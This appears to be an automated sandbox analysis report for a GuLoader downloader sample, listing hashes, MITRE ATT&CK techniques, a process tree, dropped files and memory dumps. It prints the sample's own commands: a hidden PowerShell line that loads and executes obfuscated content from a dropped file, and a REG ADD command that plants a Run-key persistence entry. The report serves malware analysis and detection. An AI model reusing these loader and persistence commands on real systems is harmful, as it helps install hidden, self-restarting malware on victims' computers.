guloader | 1474d6083b1f2c2ff5a3c5166193401ed510c5ff03493e765f58d1d2c80d538f

General

Target

00db1acc412cdb3aa45f4d55c18785ae9e8c8d7d2dcfacd8306d1f79a5c20a8c.exe
Size

391KB
MD5

1e7b3c55e65b93ed3750462bd4e8d58b
SHA1

abec5b9ca7157ab21fb9a5e72ef01f0a15f11a51
SHA256

00db1acc412cdb3aa45f4d55c18785ae9e8c8d7d2dcfacd8306d1f79a5c20a8c
SHA512

b75f4bc04c0ec6c0cc49c06a3290c2bfe53eabb9c530660d295d58273636c512613cf9ebd5246dcd1848f155a51f14eaa7c7dc26ce59a97721d5afecdb69ca2a
SSDEEP

12288:HTg5hqq7yL3B2MWy45NDr6K8AVBQ//pR8iQXL:HTg7qdLxn45pJrVBQnnBQXL

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Udmark% -windowstyle minimized $Boblekamre=(Get-ItemProperty -Path 'HKCU:\\Halvfemsaarsfdselsdages\\').Milkwood;%Udmark% ($Boblekamre)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2452	wab.exe
2452	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1392	powershell.exe
2452	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1392 set thread context of 2452	1392	powershell.exe	34

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
776	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1392	powershell.exe
1392	powershell.exe
1392	powershell.exe
1392	powershell.exe
1392	powershell.exe
1392	powershell.exe
1392	powershell.exe
1392	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1392	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1392	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 1392	2804	00db1acc412cdb3aa45f4d55c18785ae9e8c8d7d2dcfacd8306d1f79a5c20a8c.exe	28
PID 2804 wrote to memory of 1392	2804	00db1acc412cdb3aa45f4d55c18785ae9e8c8d7d2dcfacd8306d1f79a5c20a8c.exe	28
PID 2804 wrote to memory of 1392	2804	00db1acc412cdb3aa45f4d55c18785ae9e8c8d7d2dcfacd8306d1f79a5c20a8c.exe	28
PID 2804 wrote to memory of 1392	2804	00db1acc412cdb3aa45f4d55c18785ae9e8c8d7d2dcfacd8306d1f79a5c20a8c.exe	28
PID 1392 wrote to memory of 2440	1392	powershell.exe	30
PID 1392 wrote to memory of 2440	1392	powershell.exe	30
PID 1392 wrote to memory of 2440	1392	powershell.exe	30
PID 1392 wrote to memory of 2440	1392	powershell.exe	30
PID 1392 wrote to memory of 2452	1392	powershell.exe	34
PID 1392 wrote to memory of 2452	1392	powershell.exe	34
PID 1392 wrote to memory of 2452	1392	powershell.exe	34
PID 1392 wrote to memory of 2452	1392	powershell.exe	34
PID 1392 wrote to memory of 2452	1392	powershell.exe	34
PID 1392 wrote to memory of 2452	1392	powershell.exe	34
PID 2452 wrote to memory of 372	2452	wab.exe	35
PID 2452 wrote to memory of 372	2452	wab.exe	35
PID 2452 wrote to memory of 372	2452	wab.exe	35
PID 2452 wrote to memory of 372	2452	wab.exe	35
PID 372 wrote to memory of 776	372	cmd.exe	37
PID 372 wrote to memory of 776	372	cmd.exe	37
PID 372 wrote to memory of 776	372	cmd.exe	37
PID 372 wrote to memory of 776	372	cmd.exe	37

C:\Users\Admin\AppData\Local\Temp\00db1acc412cdb3aa45f4d55c18785ae9e8c8d7d2dcfacd8306d1f79a5c20a8c.exe
"C:\Users\Admin\AppData\Local\Temp\00db1acc412cdb3aa45f4d55c18785ae9e8c8d7d2dcfacd8306d1f79a5c20a8c.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Dimissorernes=Get-Content 'C:\Users\Admin\AppData\Local\tjurhane\fasciolidae\stinksvampen\Retshandlingerne29.Dat';$Skoletandlges=$Dimissorernes.SubString(59193,3);.$Skoletandlges($Dimissorernes)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
    3⤵
    PID:2440
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of WriteProcessMemory
    PID:2452
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Udmark% -windowstyle minimized $Boblekamre=(Get-ItemProperty -Path 'HKCU:\Halvfemsaarsfdselsdages\').Milkwood;%Udmark% ($Boblekamre)"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:372
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Udmark% -windowstyle minimized $Boblekamre=(Get-ItemProperty -Path 'HKCU:\Halvfemsaarsfdselsdages\').Milkwood;%Udmark% ($Boblekamre)"
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
96b58cc0d155b0df26bd5069c4a8a0f1

SHA1
e65aef58642e8de6b68b234ec6396ced1226986f

SHA256
14668df554379d43dca78ffab4b1a38887654356f0fccd4d8d8ab549ac3078b2

SHA512
68b39be0acb59c133b02fdf549ad0d65e06acbd69c4fde4067d82c0b3e1646d8dcc0ad905dc5b03acaef74ad307c3dfbe34146c39aefab44675b24e223cebfc2

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab2CFC.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar2E4A.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\tjurhane\fasciolidae\stinksvampen\Kladdebger.Svi

Filesize
328KB

MD5
91f9880b33408373db6257b678a4a0bf

SHA1
912a4ec00cac46c0b15d53d539039a77137bd86e

SHA256
12b35dc28be02873ee8b345ac4a38eeda408aa7505a2f836aa32e3467d939008

SHA512
b6747b3d21b8b1e91d212863a2969f1b20b18c4686e71df6fec7d96ff05b74470cd7c063ad7fa47dca467e5e462476feb13b9ddeedfb370283b0fc11a8af454e

Download Submit
C:\Users\Admin\AppData\Local\tjurhane\fasciolidae\stinksvampen\Retshandlingerne29.Dat

Filesize
57KB

MD5
6db11b1548b28a3b9b2b3e3147cddc04

SHA1
7f62e36b96a2d2264a21e98b17cbb6b0710f4335

SHA256
af7a18872951b3eef11a71013231b42a2ef418191580cd16505cb8bd4dae8cde

SHA512
7e77a496ea3b44479a20a0e9edfd61fcd322ee6365cda15ab908228b936a6219e6fd3162277e46127e532dc51a95b77cf43506caa60060c426510b9721a531dd

Download Submit
memory/1392-11-0x0000000002550000-0x0000000002590000-memory.dmp

Filesize
256KB

Download
memory/1392-14-0x00000000063B0000-0x00000000074ED000-memory.dmp

Filesize
17.2MB

Download
memory/1392-15-0x0000000073900000-0x0000000073EAB000-memory.dmp

Filesize
5.7MB

Download
memory/1392-16-0x0000000002550000-0x0000000002590000-memory.dmp

Filesize
256KB

Download
memory/1392-18-0x0000000005120000-0x0000000005220000-memory.dmp

Filesize
1024KB

Download
memory/1392-12-0x0000000005120000-0x0000000005220000-memory.dmp

Filesize
1024KB

Download
memory/1392-6-0x0000000073900000-0x0000000073EAB000-memory.dmp

Filesize
5.7MB

Download
memory/1392-8-0x0000000073900000-0x0000000073EAB000-memory.dmp

Filesize
5.7MB

Download
memory/1392-7-0x0000000002550000-0x0000000002590000-memory.dmp

Filesize
256KB

Download
memory/2452-19-0x0000000000620000-0x0000000001682000-memory.dmp

Filesize
16.4MB

Download
memory/2452-103-0x0000000001690000-0x00000000027CD000-memory.dmp

Filesize
17.2MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads